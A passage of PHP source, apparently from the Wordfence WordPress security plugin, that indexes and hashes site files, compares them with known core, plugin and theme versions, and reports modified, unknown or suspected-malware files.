'wordfence')); } if (wfWAFUtils::strlen($malwareData) % 4 != 0) { wfIssues::statusEndErr(); throw new Exception(__("Malware data received from Wordfence servers was not valid.", 'wordfence')); } $stored = array('hash' => $malwarePrefixesHash, 'prefixes' => $malwareData); wfConfig::set_ser('malwarePrefixes', $stored, true, wfConfig::DONT_AUTOLOAD); } $this->malwareData = $stored['prefixes']; wfIssues::statusEnd($malwarePrefixStatus, wfIssues::STATUS_SUCCESS); } if ($this->coreUnknownEnabled) { $coreHashesStatus = wfIssues::statusStart(__("Fetching list of known core files from Wordfence", 'wordfence')); $stored = wfConfig::get_ser('coreHashes', array(), false); if (is_array($stored) && isset($stored['hash']) && $stored['hash'] == $coreHashesHash && isset($stored['hashes']) && wfWAFUtils::strlen($stored['hashes']) > 0 && wfWAFUtils::strlen($stored['hashes']) % 32 == 0) { wordfence::status(4, 'info', __("Using cached core hashes", 'wordfence')); } else { wordfence::status(4, 'info', __("Fetching fresh core hashes", 'wordfence')); $coreHashesData = $engine->api->getStaticURL('/coreHashes.bin'); if (!$coreHashesData) { wfIssues::statusEndErr(); throw new Exception(__("Could not fetch core hashes from Wordfence servers.", 'wordfence')); } if (wfWAFUtils::strlen($coreHashesData) % 32 != 0) { wfIssues::statusEndErr(); throw new Exception(__("Core hashes data received from Wordfence servers was not valid.", 'wordfence')); } $stored = array('hash' => $coreHashesHash, 'hashes' => $coreHashesData); wfConfig::set_ser('coreHashes', $stored, true, wfConfig::DONT_AUTOLOAD); } $this->coreHashesData = $stored['hashes']; wfIssues::statusEnd($coreHashesStatus, wfIssues::STATUS_SUCCESS); } $this->haveIssues = array( 'core' => wfIssues::STATUS_SECURE, 'coreUnknown' => wfIssues::STATUS_SECURE, 'themes' => wfIssues::STATUS_SECURE, 'plugins' => wfIssues::STATUS_SECURE, 'malware' => wfIssues::STATUS_SECURE, ); if($this->coreEnabled){ $this->status['core'] = wfIssues::statusStart(__("Comparing core WordPress files against originals in repository", 'wordfence')); $this->engine->scanController()->startStage(wfScanner::STAGE_FILE_CHANGES); } else { wfIssues::statusDisabled(__("Skipping core scan", 'wordfence')); } if($this->themesEnabled){ $this->status['themes'] = wfIssues::statusStart(__("Comparing open source themes against WordPress.org originals", 'wordfence')); $this->engine->scanController()->startStage(wfScanner::STAGE_FILE_CHANGES); } else { wfIssues::statusDisabled(__("Skipping theme scan", 'wordfence')); } if($this->pluginsEnabled){ $this->status['plugins'] = wfIssues::statusStart(__("Comparing plugins against WordPress.org originals", 'wordfence')); $this->engine->scanController()->startStage(wfScanner::STAGE_FILE_CHANGES); } else { wfIssues::statusDisabled(__("Skipping plugin scan", 'wordfence')); } if($this->malwareEnabled){ $this->status['malware'] = wfIssues::statusStart(__("Scanning for known malware files", 'wordfence')); $this->engine->scanController()->startStage(wfScanner::STAGE_MALWARE_SCAN); } else { wfIssues::statusDisabled(__("Skipping malware scan", 'wordfence')); } if($this->coreUnknownEnabled){ $this->status['coreUnknown'] = wfIssues::statusStart(__("Scanning for unknown files in wp-admin and wp-includes", 'wordfence')); $this->engine->scanController()->startStage(wfScanner::STAGE_FILE_CHANGES); } else { wfIssues::statusDisabled(__("Skipping unknown core file scan", 'wordfence')); } if ($options['scansEnabled_fileContents']) { $this->engine->scanController()->startStage(wfScanner::STAGE_MALWARE_SCAN); } if ($options['scansEnabled_fileContentsGSB']) { $this->engine->scanController()->startStage(wfScanner::STAGE_CONTENT_SAFETY); } if ($this->coreUnknownEnabled && !$this->alertedOnUnknownWordPressVersion && empty($this->knownFiles['core'])) { require(ABSPATH . 'wp-includes/version.php'); /* @var string $wp_version */ $this->alertedOnUnknownWordPressVersion = true; $added = $this->engine->addIssue( 'coreUnknown', wfIssues::SEVERITY_MEDIUM, 'coreUnknown' . $wp_version, 'coreUnknown' . $wp_version, sprintf(/* translators: WordPress version. */ __('Unknown WordPress core version: %s', 'wordfence'), $wp_version), __("The core files scan will not be run because this version of WordPress is not currently indexed by Wordfence. This may be due to using a prerelease version or because the servers are still indexing a new release. If you are using an official WordPress release, this issue will automatically dismiss once the version is indexed and another scan is run.", 'wordfence'), array() ); if ($added == wfIssues::ISSUE_ADDED || $added == wfIssues::ISSUE_UPDATED) { $this->haveIssues['coreUnknown'] = wfIssues::STATUS_PROBLEM; } else if ($this->haveIssues['coreUnknown'] != wfIssues::STATUS_PROBLEM && ($added == wfIssues::ISSUE_IGNOREP || $added == wfIssues::ISSUE_IGNOREC)) { $this->haveIssues['coreUnknown'] = wfIssues::STATUS_IGNORED; } } $this->initializeProperties(); } private function initializeProperties() { $this->scanFileLogger = $this->getScanFileLogger(); $this->knownFileExclude = wordfenceScanner::getExcludeFilePattern(wordfenceScanner::EXCLUSION_PATTERNS_KNOWN_FILES); } public function __sleep(){ return array('totalFiles', 'totalDirs', 'totalData', 'stoppedOnFile', 'coreEnabled', 'pluginsEnabled', 'themesEnabled', 'malwareEnabled', 'coreUnknownEnabled', 'knownFiles', 'haveIssues', 'status', 'possibleMalware', 'scannedFiles', 'totalForks', 'alertedOnUnknownWordPressVersion', 'foldersProcessed', 'suspectedFiles', 'indexed', 'indexSize', 'currentIndex', 'coalescingIssues', 'pathMap'); } public function __wakeup(){ $this->db = new wfDB(); $this->startTime = microtime(true); $this->totalForks++; $stored = wfConfig::get_ser('malwarePrefixes', array(), false); if (!isset($stored['prefixes'])) { $stored['prefixes'] = ''; } $this->malwareData = $stored['prefixes']; $stored = wfConfig::get_ser('coreHashes', array(), false); if (!isset($stored['hashes'])) { $stored['hashes'] = ''; } $this->coreHashesData = $stored['hashes']; $this->initializeProperties(); } public function getSuspectedFiles() { return array_keys($this->suspectedFiles); } public function run($engine) { if($this->totalForks > 1000){ throw new Exception(sprintf(/* translators: File path. */ __("Wordfence file scanner detected a possible infinite loop. Exiting on file: %s", 'wordfence'), $this->stoppedOnFile)); } $this->engine = $engine; if (!$this->indexed) { $start = microtime(true); $indexedFiles = array(); foreach ($this->scannedFiles as $file) { $this->_dirIndex($file, $indexedFiles); } $this->_serviceIndexQueue($indexedFiles, true); $this->indexed = true; unset($this->foldersEntered); $this->foldersEntered = array(); unset($this->foldersProcessed); $this->foldersProcessed = array(); $end = microtime(true); wordfence::status(4, 'info', sprintf(/* translators: Time in seconds. */ __("Index time: %s", 'wordfence'), ($end - $start))); } $this->_checkForTimeout(); wordfence::status(4, 'info', __("Beginning file hashing", 'wordfence')); while ($file = $this->_nextFile()) { $this->processFile($file); wfUtils::afterProcessingFile(); $this->_checkForTimeout($file); } $this->processFileRecords(); // Ensure all file records have actually been inserted before processing pending issues wordfence::status(4, 'info', __("Processing pending issues", 'wordfence')); $this->_processPendingIssues(); wordfence::status(2, 'info', sprintf(/* translators: 1. Number of files. 2. Data in bytes. */ __('Analyzed %1$d files containing %2$s of data.', 'wordfence'), $this->totalFiles, wfUtils::formatBytes($this->totalData))); if($this->coreEnabled){ wfIssues::statusEnd($this->status['core'], $this->haveIssues['core']); $this->engine->scanController()->completeStage(wfScanner::STAGE_FILE_CHANGES, $this->haveIssues['core']); } if($this->themesEnabled){ wfIssues::statusEnd($this->status['themes'], $this->haveIssues['themes']); $this->engine->scanController()->completeStage(wfScanner::STAGE_FILE_CHANGES, $this->haveIssues['themes']); } if($this->pluginsEnabled){ wfIssues::statusEnd($this->status['plugins'], $this->haveIssues['plugins']); $this->engine->scanController()->completeStage(wfScanner::STAGE_FILE_CHANGES, $this->haveIssues['plugins']); } if($this->coreUnknownEnabled){ wfIssues::statusEnd($this->status['coreUnknown'], $this->haveIssues['coreUnknown']); $this->engine->scanController()->completeStage(wfScanner::STAGE_FILE_CHANGES, $this->haveIssues['coreUnknown']); } if(sizeof($this->possibleMalware) > 0){ $malwareResp = $engine->api->binCall('check_possible_malware', json_encode($this->possibleMalware)); if($malwareResp['code'] != 200){ wfIssues::statusEndErr(); throw new Exception(__("Invalid response from Wordfence API during check_possible_malware", 'wordfence')); } $malwareList = json_decode($malwareResp['data'], true); if(is_array($malwareList) && sizeof($malwareList) > 0){ for($i = 0; $i < sizeof($malwareList); $i++){ $file = $malwareList[$i][0]; $md5 = $malwareList[$i][1]; $name = $malwareList[$i][2]; $added = $this->engine->addIssue( 'file', wfIssues::SEVERITY_CRITICAL, $file, $md5, sprintf(/* translators: File path. */ __('This file is suspected malware: %s', 'wordfence'), $file), sprintf(/* translators: Malware name/title. */ __("This file's signature matches a known malware file. The title of the malware is '%s'. Immediately inspect this file using the 'View' option below and consider deleting it from your server.", 'wordfence'), $name), array( 'file' => $file, 'realFile' => array_key_exists($file, $this->pathMap) ? $this->pathMap[$file] : null, 'cType' => 'unknown', 'canDiff' => false, 'canFix' => false, 'canDelete' => true ) ); if ($added == wfIssues::ISSUE_ADDED || $added == wfIssues::ISSUE_UPDATED) { $this->haveIssues['malware'] = wfIssues::STATUS_PROBLEM; } else if ($this->haveIssues['malware'] != wfIssues::STATUS_PROBLEM && ($added == wfIssues::ISSUE_IGNOREP || $added == wfIssues::ISSUE_IGNOREC)) { $this->haveIssues['malware'] = wfIssues::STATUS_IGNORED; } } } } if($this->malwareEnabled){ wfIssues::statusEnd($this->status['malware'], $this->haveIssues['malware']); $this->engine->scanController()->completeStage(wfScanner::STAGE_MALWARE_SCAN, $this->haveIssues['malware']); } unset($this->knownFiles); $this->knownFiles = false; } private function _dirIndex($file, &$indexedFiles) { $realPath = $file->getRealPath(); //Applies to files and dirs if (!is_readable($realPath)) return; if (!$this->_shouldProcessFile($file)) return; if (is_dir($realPath)) { if (isset($this->foldersEntered[$realPath])) return; $this->foldersEntered[$file->getRealPath()] = 1; $this->totalDirs++; try { foreach (wfFileUtils::getContents($realPath) as $child) { if (wfFileUtils::isCurrentOrParentDirectory($child)) { continue; } try { $child = $file->createChild($child); } catch (wfInvalidPathException $e) { wordfence::status(4, 'info', sprintf(__("Ignoring invalid scan file child: %s", 'wordfence'), $e->getPath())); continue; } if (is_file($child->getRealPath())) { $relativeFile = $child->getWordpressPath(); if ($this->stoppedOnFile && $child->getRealPath() != $this->stoppedOnFile) { continue; } if (preg_match('/\.suspected$/i', $relativeFile)) { //Already iterating over all files in the search areas so generate this list here wordfence::status(4, 'info', sprintf(/* translators: File path. */ __("Found .suspected file: %s", 'wordfence'), $relativeFile)); $this->suspectedFiles[$relativeFile] = 1; } $this->_checkForTimeout($child, $indexedFiles); if ($this->_shouldHashFile($child)) { $indexedFiles[] = $child; } else { wordfence::status(4, 'info', sprintf(/* translators: File path. */ __("Skipping unneeded hash: %s", 'wordfence'), (string) $child)); } $this->_serviceIndexQueue($indexedFiles); } elseif (is_dir($child->getRealPath())) { $this->_dirIndex($child, $indexedFiles); } } } catch (wfInaccessibleDirectoryException $e) { wordfence::status(4, 'info', sprintf(/* translators: File path. */ __("Skipping inaccessible directory: %s", 'wordfence'), (string) $file)); } $this->foldersProcessed[$realPath] = 1; unset($this->foldersEntered[$realPath]); } else { if (is_file($realPath)) { $relativeFile = $file->getWordpressPath(); if ($this->stoppedOnFile && $realPath != $this->stoppedOnFile) { return; } if (preg_match('/\.suspected$/i', $relativeFile)) { //Already iterating over all files in the search areas so generate this list here wordfence::status(4, 'info', sprintf(/* translators: File path. */ __("Found .suspected file: %s", 'wordfence'), $relativeFile)); $this->suspectedFiles[$relativeFile] = 1; } $this->_checkForTimeout($file, $indexedFiles); if ($this->_shouldHashFile($file)) { $indexedFiles[] = $file; } else { wordfence::status(4, 'info', sprintf(/* translators: File path. */ __("Skipping unneeded hash: %s", 'wordfence'), (string) $file)); } $this->_serviceIndexQueue($indexedFiles); } } } private function _serviceIndexQueue(&$indexedFiles, $final = false) { $files = array(); if (count($indexedFiles) > 500) { $files = array_splice($indexedFiles, 0, 500); } else if ($final) { $files = $indexedFiles; $indexedFiles = array(); } $fileCount = count($files); if ($fileCount > 0) { $payload = array(); foreach ($files as $file) { $payload[] = (string) $file; $payload[] = $file->getWordpressPath(); } global $wpdb; $table_wfKnownFileList = wfDB::networkTable('wfKnownFileList'); $query = substr("INSERT INTO {$table_wfKnownFileList} (path, wordpress_path) VALUES " . str_repeat("('%s', '%s'), ", count($files)), 0, -2); $wpdb->query($wpdb->prepare($query, $payload)); $this->indexSize += $fileCount; wordfence::status(2, 'info', sprintf(/* translators: Number of files. */ __("%d files indexed", 'wordfence'), $this->indexSize)); } } private function _loadFileBatch() { global $wpdb; $table_wfKnownFileList = wfDB::networkTable('wfKnownFileList'); $rows = $wpdb->get_results($wpdb->prepare("SELECT id, path, wordpress_path FROM {$table_wfKnownFileList} WHERE id > %d ORDER BY id ASC LIMIT 500", $this->currentIndex)); end($rows); while (($row = prev($rows)) !== false) { $this->currentFile = new wfScanFileListItem($row->id, $row->path, $row->wordpress_path, $this->currentFile); } } private function _nextFile() { if ($this->currentFile !== null) $this->currentFile = $this->currentFile->getNext(); if ($this->currentFile === null) { $this->_loadFileBatch(); } if ($this->currentFile !== null) $this->currentIndex = $this->currentFile->getId(); return $this->currentFile; } private function _checkForTimeout($file = null, $indexQueue = false) { $realPath = $file ? $file->getRealPath() : null; if (($this->stoppedOnFile !== $realPath) && $this->engine->shouldFork()) { //max X seconds but don't allow fork if we're looking for the file we stopped on. Search mode is VERY fast. $this->processFileRecords(false); if ($indexQueue !== false) { $this->_serviceIndexQueue($indexQueue, true); $this->stoppedOnFile = $realPath; wordfence::status(4, 'info', sprintf(/* translators: File path. */ __("Forking during indexing: %s", 'wordfence'), (string) $file)); } else { wordfence::status(4, 'info', sprintf(/* translators: PHP max execution time. */ __("Calling fork() from wordfenceHash with maxExecTime: %s", 'wordfence'), $this->engine->maxExecTime)); } $this->engine->fork(); //exits } if ($this->stoppedOnFile && $realPath != $this->stoppedOnFile && $indexQueue !== false) { return; } else if ($this->stoppedOnFile && $realPath == $this->stoppedOnFile) { $this->stoppedOnFile = false; //Continue indexing } } private function _shouldProcessFile($file) { $excludePatterns = wordfenceScanner::getExcludeFilePattern(wordfenceScanner::EXCLUSION_PATTERNS_USER); if ($excludePatterns) { foreach ($excludePatterns as $pattern) { if (preg_match($pattern, $file->getWordpressPath())) { return false; } } } $realPath = $file->getRealPath(); if ($realPath === '/') { return false; } if (isset($this->foldersProcessed[$realPath])) { return false; } return true; } private function getScanFileLogger() { if (function_exists('memory_get_usage')) { return function($realPath) { wordfence::status(4, 'info', sprintf(/* translators: 1. File path. 2. Memory in bytes. */ __('Scanning: %1$s (Mem:%2$s)', 'wordfence'), $realPath, sprintf('%.1fM', memory_get_usage(true) / (1024 * 1024)))); }; } else { return function($realPath) { wordfence::status(4, 'info', sprintf(/* translators: File path. */ __("Scanning: %s", 'wordfence'), $realPath)); }; } } private function isKnownFileScanAllowed($realPath) { if ($this->knownFileExclude) { foreach ($this->knownFileExclude as $pattern) { if (preg_match($pattern, $realPath)) { return false; } } } return true; } private function getKnownFileType($properties) { if ($this->isKnownFileScanAllowed($properties->realPath)) { foreach (self::$KNOWN_FILE_TYPES as $type) { if (isset($this->knownFiles[$type][$properties->wordpressPath])) return $type; } if ($this->coreUnknownEnabled && !$this->alertedOnUnknownWordPressVersion) return self::KNOWN_FILE_OTHER; } return null; } private function checkKnownCoreFile($properties) { if (strtoupper($this->knownFiles['core'][$properties->wordpressPath]) == $properties->shac) { $properties->freeContent(); return true; } else { if ($this->coreEnabled) { if ($properties->loadContent() && (!preg_match('/<\?' . 'php[\r\n\s\t]*\/\/[\r\n\s\t]*Silence is golden\.[\r\n\s\t]*(?:\?>)?[\r\n\s\t]*$/s', $properties->content))) { $this->engine->addPendingIssue( 'knownfile', wfIssues::SEVERITY_HIGH, 'coreModified' . $properties->wordpressPath, 'coreModified' . $properties->wordpressPath . $properties->md5, sprintf(/* translators: File path. */ __('WordPress core file modified: %s', 'wordfence'), $properties->wordpressPath), __("This WordPress core file has been modified and differs from the original file distributed with this version of WordPress.", 'wordfence'), array( 'file' => $properties->wordpressPath, 'realFile' => $properties->realPath, 'cType' => 'core', 'canDiff' => true, 'canFix' => true, 'canDelete' => false, 'haveIssues' => 'core' ) ); } } return false; } } private function checkKnownPluginFile($properties) { if (in_array($properties->shac, $this->knownFiles[self::KNOWN_FILE_PLUGIN][$properties->wordpressPath])) { return true; } else { if ($this->pluginsEnabled) { $options = $this->engine->scanController()->scanOptions(); $shouldGenerateIssue = true; if (!$options['scansEnabled_highSense'] && preg_match('~/readme\.(?:txt|md)$~i', $properties->wordpressPath)) { //Don't generate issues for changed readme files unless high sensitivity is on $shouldGenerateIssue = false; } if ($shouldGenerateIssue) { $itemName = $this->knownFiles['plugins'][$properties->wordpressPath][0]; $itemVersion = $this->knownFiles['plugins'][$properties->wordpressPath][1]; $cKey = $this->knownFiles['plugins'][$properties->wordpressPath][2]; $this->engine->addPendingIssue( 'knownfile', wfIssues::SEVERITY_MEDIUM, 'modifiedplugin' . $properties->wordpressPath, 'modifiedplugin' . $properties->wordpressPath . $properties->md5, sprintf(/* translators: File path. */ __('Modified plugin file: %s', 'wordfence'), $properties->wordpressPath), sprintf( /* translators: 1. Plugin name. 2. Plugin version. 3. Support URL. */ __('This file belongs to plugin "%1$s" version "%2$s" and has been modified from the file that is distributed by WordPress.org for this version. Please use the link to see how the file has changed. If you have modified this file yourself, you can safely ignore this warning. If you see a lot of changed files in a plugin that have been made by the author, then try uninstalling and reinstalling the plugin to force an upgrade. Doing this is a workaround for plugin authors who don\'t manage their code correctly. Learn More (' . esc_html__('opens in new tab', 'wordfence') . ')', 'wordfence'), $itemName, $itemVersion, wfSupportController::esc_supportURL(wfSupportController::ITEM_SCAN_RESULT_MODIFIED_PLUGIN) ), array( 'file' => $properties->wordpressPath, 'realFile' => $properties->realPath, 'cType' => 'plugin', 'canDiff' => true, 'canFix' => true, 'canDelete' => false, 'cName' => $itemName, 'cVersion' => $itemVersion, 'cKey' => $cKey, 'haveIssues' => 'plugins' ) ); } } return false; } } private function checkKnownThemeFile($properties) { if (in_array($properties->shac, $this->knownFiles[self::KNOWN_FILE_THEME][$properties->wordpressPath])) { return true; } else { if ($this->themesEnabled) { $options = $this->engine->scanController()->scanOptions(); $shouldGenerateIssue = true; if (!$options['scansEnabled_highSense'] && preg_match('~/readme\.(?:txt|md)$~i', $properties->wordpressPath)) { //Don't generate issues for changed readme files unless high sensitivity is on $shouldGenerateIssue = false; } if ($shouldGenerateIssue) { $itemName = $this->knownFiles['themes'][$properties->wordpressPath][0]; $itemVersion = $this->knownFiles['themes'][$properties->wordpressPath][1]; $cKey = $this->knownFiles['themes'][$properties->wordpressPath][2]; $this->engine->addPendingIssue( 'knownfile', wfIssues::SEVERITY_MEDIUM, 'modifiedtheme' . $properties->wordpressPath, 'modifiedtheme' . $properties->wordpressPath . $properties->md5, sprintf(/* translators: File path. */ __('Modified theme file: %s', 'wordfence'), $properties->wordpressPath), sprintf( /* translators: 1. Plugin name. 2. Plugin version. 3. Support URL. */ __('This file belongs to theme "%1$s" version "%2$s" and has been modified from the original distribution. It is common for site owners to modify their theme files, so if you have modified this file yourself you can safely ignore this warning. Learn More (' . esc_html__('opens in new tab', 'wordfence') . ')', 'wordfence'), $itemName, $itemVersion, wfSupportController::esc_supportURL(wfSupportController::ITEM_SCAN_RESULT_MODIFIED_THEME) ), array( 'file' => $properties->wordpressPath, 'realFile' => $properties->realPath, 'cType' => 'theme', 'canDiff' => true, 'canFix' => true, 'canDelete' => false, 'cName' => $itemName, 'cVersion' => $itemVersion, 'cKey' => $cKey, 'haveIssues' => 'themes' ) ); } } return false; } } private function checkKnownFileOther($properties) { $restrictedWordPressFolders = array(ABSPATH . 'wp-admin/', ABSPATH . WPINC . '/'); $added = false; foreach ($restrictedWordPressFolders as $path) { if (strpos($properties->realPath, $path) === 0) { if ($this->isPreviousCoreFile($properties->shac)) { $added = $this->engine->addIssue( 'knownfile', wfIssues::SEVERITY_LOW, 'coreUnknown' . $properties->wordpressPath, 'coreUnknown' . $properties->wordpressPath . $properties->md5, sprintf(/* translators: File path. */ __('Old WordPress core file not removed during update: %s', 'wordfence'), $properties->wordpressPath), __('This file is in a WordPress core location but is from an older version of WordPress and not used with your current version. Hosting or permissions issues can cause these files to get left behind when WordPress is updated and they should be removed if possible.', 'wordfence'), array( 'file' => $properties->wordpressPath, 'realFile' => $properties->realPath, 'cType' => 'core', 'canDiff' => false, 'canFix' => false, 'canDelete' => true, ) ); } else if (preg_match('#/php\.ini$#', $properties->wordpressPath)) { $this->engine->addPendingIssue( 'knownfile', wfIssues::SEVERITY_HIGH, 'coreUnknown' . $properties->wordpressPath, 'coreUnknown' . $properties->wordpressPath . $properties->md5, sprintf(/* translators: File path. */ __('Unknown file in WordPress core: %s', 'wordfence'), $properties->wordpressPath), __('This file is in a WordPress core location but is not distributed with this version of WordPress. This scan often includes files left over from a previous WordPress version, but it may also find files added by another plugin, files added by your host, or malicious files added by an attacker.', 'wordfence'), array( 'file' => $properties->wordpressPath, 'realFile' => $properties->realPath, 'cType' => 'core', 'canDiff' => false, 'canFix' => false, 'canDelete' => true, 'coalesce' => 'php.ini', 'learnMore' => wfSupportController::supportURL(wfSupportController::ITEM_SCAN_RESULT_UNKNOWN_FILE_CORE), 'haveIssues' => 'coreUnknown', ) ); } else { $added = $this->engine->addIssue( 'knownfile', wfIssues::SEVERITY_HIGH, 'coreUnknown' . $properties->wordpressPath, 'coreUnknown' . $properties->wordpressPath . $properties->md5, sprintf(/* translators: File path. */ __('Unknown file in WordPress core: %s', 'wordfence'), $properties->wordpressPath), sprintf(/* translators: Support URL. */ __('This file is in a WordPress core location but is not distributed with this version of WordPress. This scan often includes files left over from a previous WordPress version, but it may also find files added by another plugin, files added by your host, or malicious files added by an attacker. Learn More (' . esc_html__('opens in new tab', 'wordfence') . ')', 'wordfence'), wfSupportController::esc_supportURL(wfSupportController::ITEM_SCAN_RESULT_UNKNOWN_FILE_CORE)), array( 'file' => $properties->wordpressPath, 'realFile' => $properties->realPath, 'cType' => 'core', 'canDiff' => false, 'canFix' => false, 'canDelete' => true, ) ); } } } if ($added == wfIssues::ISSUE_ADDED || $added == wfIssues::ISSUE_UPDATED) { $this->haveIssues['coreUnknown'] = wfIssues::STATUS_PROBLEM; } else if ($this->haveIssues['coreUnknown'] != wfIssues::STATUS_PROBLEM && ($added == wfIssues::ISSUE_IGNOREP || $added == wfIssues::ISSUE_IGNOREC)) { $this->haveIssues['coreUnknown'] = wfIssues::STATUS_IGNORED; } return false; } private function checkKnownFile($properties, $type) { switch ($type) { case self::KNOWN_FILE_CORE: return $this->checkKnownCoreFile($properties); case self::KNOWN_FILE_PLUGIN: return $this->checkKnownPluginFile($properties); case self::KNOWN_FILE_THEME: return $this->checkKnownThemeFile($properties); case self::KNOWN_FILE_OTHER: return $this->checkKnownFileOther($properties); } } private function recordFile($properties) { $this->fileRecords[$properties->wordpressPathMd5] = $properties; $this->fileRecordCount++; if ($this->fileRecordCount >= self::MAX_QUEUED_RECORDS) $this->processFileRecords(); } private function processFileRecords($check = true) { if ($this->fileRecordCount == 0) return; $this->db->insert( wfDB::networkTable('wfFileMods'), [ 'filename' => '%s', 'real_path' => '%s', 'filenameMD5' => 'UNHEX(%s)', 'knownFile' => '%d', 'newMD5' => 'UNHEX(%s)', 'SHAC' => 'UNHEX(%s)', ], array_map(function($properties) { return [ $properties->wordpressPath, $properties->realPath, $properties->wordpressPathMd5, (int) $properties->known, $properties->md5, $properties->shac, ]; }, $this->fileRecords), [ 'newMD5', 'SHAC', 'knownFile' ] ); $this->fileRecords = []; $this->fileRecordCount = 0; } private function processFile($file) { $properties = $file->initializeProperties(); try { $properties->realPath = $file->getRealPath(); $wordpressPath = $file->getWordpressPath(); if (wfUtils::fileTooBig($properties->realPath, $fileSize, $properties->handle)) { wordfence::status(4, 'info', sprintf(/* translators: File path. */ __("Skipping file larger than max size: %s", 'wordfence'), $properties->realPath)); return; } call_user_func($this->scanFileLogger, $properties->realPath); $knownFileType = $this->getKnownFileType($properties); $allowKnownFileScan = $knownFileType !== null; $hashed = self::hashFile($properties->realPath, $properties); $this->engine->scanController()->incrementSummaryItem(wfScanner::SUMMARY_SCANNED_FILES); if (!$hashed) { //wordfence::status(2, 'error', "Could not gen hash for file (probably because we don't have permission to access the file): $properties->realPath"); return; } $properties->known = $allowKnownFileScan && $this->checkKnownFile($properties, $knownFileType); if($this->malwareEnabled && $this->isMalwarePrefix($properties->md5)){ $this->possibleMalware[] = array($properties->wordpressPath, $properties->md5); $this->pathMap[$properties->wordpressPath] = $properties->realPath; } $this->recordFile($properties); $this->totalFiles++; $this->totalData += $fileSize; if($this->totalFiles % 100 === 0){ wordfence::status(2, 'info', sprintf( /* translators: 1. Number of files. 2. Data in bytes. */ __('Analyzed %1$d files containing %2$s of data so far', 'wordfence'), $this->totalFiles, wfUtils::formatBytes($this->totalData) )); } } finally { $properties->releaseHandle(); } } private function flagSafeFiles($filenames) { $fileModsTable = wfDB::networkTable('wfFileMods'); $allSafeFiles = []; $existingSafeFiles = $this->db->selectAll( $fileModsTable, [ 'filename' ], [ 'filename' => $filenames, 'isSafeFile' => '1' ] ); foreach ($existingSafeFiles as $row) { $allSafeFiles[$row[0]] = true; } $remainingFilenames = []; foreach ($filenames as $filename) { if (!array_key_exists($filename, $allSafeFiles)) $remainingFilenames[] = $filename; } $filenames = $remainingFilenames; do { $results = $this->db->select( $fileModsTable, [ 'HEX(filenameMD5)', 'UPPER(HEX(SHAC))', 'filename' ], [ 'filename' => $filenames, 'isSafeFile' => '?' ] ); $hashes = array_column($results, 1); $safeHashes = array_flip($this->engine->isSafeFile($hashes)); $safeFiles = []; $unsafeFiles = []; foreach ($results as $row) { $filenameMD5Hex = $row[0]; if (array_key_exists($row[1], $safeHashes)) { $safeFiles[] = $filenameMD5Hex; $allSafeFiles[$row[2]] = true; } else { $unsafeFiles[] = $filenameMD5Hex; } } foreach (['1' => $safeFiles, '0' => $unsafeFiles] as $safe => $files) { if (count($files) == 0) continue; $this->db->update( $fileModsTable, [ 'isSafeFile' => [ '%s', $safe ] ], [ 'filenameMD5' => $files ], [ 'filenameMD5' => 'UNHEX(%s)' ] ); } } while (!empty($results)); return $allSafeFiles; } private function _processPendingIssues() { $count = $this->engine->getPendingIssueCount(); $offset = 0; while ($offset < $count) { $issues = $this->engine->getPendingIssues($offset); if (count($issues) == 0) { break; } $safeFiles = $this->flagSafeFiles(array_map(function($i) { return $i['data']['file']; }, $issues)); //Migrate non-safe file issues to official issues and begin coalescing tagged issues foreach ($issues as &$i) { if (!array_key_exists($i['data']['file'], $safeFiles)) { $haveIssuesType = $i['data']['haveIssues']; if (isset($i['data']['coalesce'])) { $key = $i['data']['coalesce']; if (!isset($this->coalescingIssues[$key])) { $this->coalescingIssues[$key] = array('count' => 0, 'issue' => $i); } $this->coalescingIssues[$key]['count']++; } else { $added = $this->engine->addIssue( $i['type'], $i['severity'], $i['ignoreP'], $i['ignoreC'], $i['shortMsg'], $i['longMsg'], $i['data'], true //Prevent ignoreP and ignoreC from being hashed again ); if ($added == wfIssues::ISSUE_ADDED || $added == wfIssues::ISSUE_UPDATED) { $this->haveIssues[$haveIssuesType] = wfIssues::STATUS_PROBLEM; } else if ($this->haveIssues[$haveIssuesType] != wfIssues::STATUS_PROBLEM && ($added == wfIssues::ISSUE_IGNOREP || $added == wfIssues::ISSUE_IGNOREC)) { $this->haveIssues[$haveIssuesType] = wfIssues::STATUS_IGNORED; } } } } $offset += count($issues); $this->engine->checkForKill(); } //Insert the coalesced issues (currently just multiple php.ini in system directories) foreach ($this->coalescingIssues as $c) { $count = $c['count']; $i = $c['issue']; $haveIssuesType = $i['data']['haveIssues']; $added = $this->engine->addIssue( $i['type'], $i['severity'], $i['ignoreP'], $i['ignoreC'], $i['shortMsg'] . ($count > 1 ? ' ' . sprintf(/* translators: Number of scan results. */ __('(+ %d more)', 'wordfence'), $count - 1) : ''), $i['longMsg'] . ($count > 1 ? ' ' . ($count > 2 ? sprintf(/* translators: Number of files. */ __('%d more similar files were found.', 'wordfence'), $count - 1) : __('1 more similar file was found.', 'wordfence')) : '') . (isset($i['data']['learnMore']) ? ' ' . sprintf(__('Learn More (' . esc_html__('opens in new tab', 'wordfence') . ')', 'wordfence'), esc_attr($i['data']['learnMore'])) : ''), $i['data'], true //Prevent ignoreP and ignoreC from being hashed again ); if ($added == wfIssues::ISSUE_ADDED || $added == wfIssues::ISSUE_UPDATED) { $this->haveIssues[$haveIssuesType] = wfIssues::STATUS_PROBLEM; } else if ($this->haveIssues[$haveIssuesType] != wfIssues::STATUS_PROBLEM && ($added == wfIssues::ISSUE_IGNOREP || $added == wfIssues::ISSUE_IGNOREC)) { $this->haveIssues[$haveIssuesType] = wfIssues::STATUS_IGNORED; } } } public static function hashFile($file, &$properties) { if (!$properties->resetHandle()) { return false; } $md5Context = hash_init('md5'); $sha256Context = hash_init('sha256'); while (!feof($properties->handle)) { $data = fread($properties->handle, 65536); if ($data === false) { return false; } hash_update($md5Context, $data); hash_update($sha256Context, str_replace(array("\n","\r","\t"," "),"", $data)); } $properties->md5 = strtoupper(hash_final($md5Context, false)); $properties->shac = strtoupper(hash_final($sha256Context, false)); return true; } private function _shouldHashFile($file) { $wordpressPath = $file->getWordpressPath(); //Core File, return true if ((isset($this->knownFiles['core']) && isset($this->knownFiles['core'][$wordpressPath])) || (isset($this->knownFiles['plugins']) && isset($this->knownFiles['plugins'][$wordpressPath])) || (isset($this->knownFiles['themes']) && isset($this->knownFiles['themes'][$wordpressPath]))) { return true; } //Excluded file, return false $excludePatterns = wordfenceScanner::getExcludeFilePattern(wordfenceScanner::EXCLUSION_PATTERNS_USER | wordfenceScanner::EXCLUSION_PATTERNS_MALWARE); if ($excludePatterns) { foreach ($excludePatterns as $pattern) { if (preg_match($pattern, $wordpressPath)) { return false; } } } //Unknown file in a core location if 